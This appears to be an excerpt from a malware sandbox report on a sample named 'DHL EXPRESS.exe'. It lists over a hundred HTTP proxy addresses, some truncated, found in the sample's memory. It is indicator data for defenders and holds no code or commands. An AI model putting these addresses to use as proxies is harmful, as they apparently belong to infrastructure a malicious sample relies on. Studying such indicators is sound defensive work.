Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.194.22.61:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.195.23.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.195.23.223:34031
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.195.23.223:34031://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE56000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.201.233.219:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.201.233.219:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.70.189.30:38880
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.70.189.30:38880://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.73.184.94:23500
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.73.184.94:23500://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.75.34.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.75.34.152:59341
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.75.34.152:59341://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.86.220.12:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.86.220.12:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.94.182.128:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://109.94.182.128:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.136.167.118:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.136.167.118:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.185.105.210:51800
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.185.105.210:51800://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.42.188.54:2080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.42.188.54:2080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.42.189.209:2080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.42.189.209:2080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.73.11.181:8123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.73.11.181:8123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.74.195.2:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.74.195.2:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.135.70:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.135.70:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.232.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.232.172:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.77.232.172:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.146.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.146.14:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.146.14:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.151.165:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.151.165:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8E7000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.81.107:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD915000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.81.107:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.82.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.82.233:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.78.82.233:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADEB6000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADE3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.93.227.28:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADD8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://110.93.227.28:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.20.217.178:9091
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.20.217.178:9091://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.221.3.86:5566
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.221.3.86:5566://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.191:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.191:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.42:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.152.42:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.135:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.225.153.135:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.59.4.88:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.59.4.88:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.8.155.54:7777
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://111.8.155.54:7777://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.197.3.200:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.197.3.200:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.205.92.14:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.205.92.14:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.30.155.83:12792
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.30.155.83:12792://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.155.77
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.155.77://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC41C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.155.77:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.161.191:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.161.191:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.164.248:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.164.248:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.170.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.170.250:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.170.250:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.47.188
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.47.188://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.78.47.188:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.98.218.73:57658
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://112.98.218.73:57658://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.100.209.184:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.100.209.184:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.101.255.100:38801
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.101.255.100:38801://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.121.240.114:3256
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.121.240.114:3256://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.160.247
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.160.247.27:19132
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.160.247.27:19132://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.176.118.255:7654
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.176.118.255:7654://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.195.224
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB899000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.195.224.222:9999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.195.224.222:9999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.223.213.242:8089://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AADEC000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.223.214.1:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AADEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.223.214.1:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.223.215
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.223.215.71:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.223.215.71:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.53.3.242:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://113.53.3.242:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.103.88.182:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.141.51.160:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.141.51.160:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.141.61.2:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.141.61.2:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.156.77.107:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.156.77.107:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.219.104
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.219.104.31:10001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.219.104.31:10001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.42.97:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.42.97:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.45.101:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.45.101:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.45.178:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.45.178:8089://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.45.81:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.45.81:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.8.236:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.231.8.236:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.232.109.43:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.232.109.43:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.232.110
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.232.110.28:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.232.110.28:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.255.132.60:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.255.132.60:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.10.131:8004
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.10.131:8004://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.12.249:8004
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.12.249:8004://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.13.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.13.192:8004
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.13.192:8004://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.2.66:8004
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://114.99.2.66:8004://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.112.74:8090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.112.74:8090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.13.154:8880
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.190.42:6979
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.190.42:6979://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.28.10:8674
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.28.10:8674://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.83.142:1234
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.127.83.142:1234://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.221.242.131:9999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.221.242.131:9999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.240.163.31
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.240.163.31://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.240.163.31:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.243.142
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.243.142.185:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.243.142.185:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.162
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.162://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.244.127.162:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAAF1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.248.66.131:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.248.66.131:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.42.45.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.42.45.1://proxy
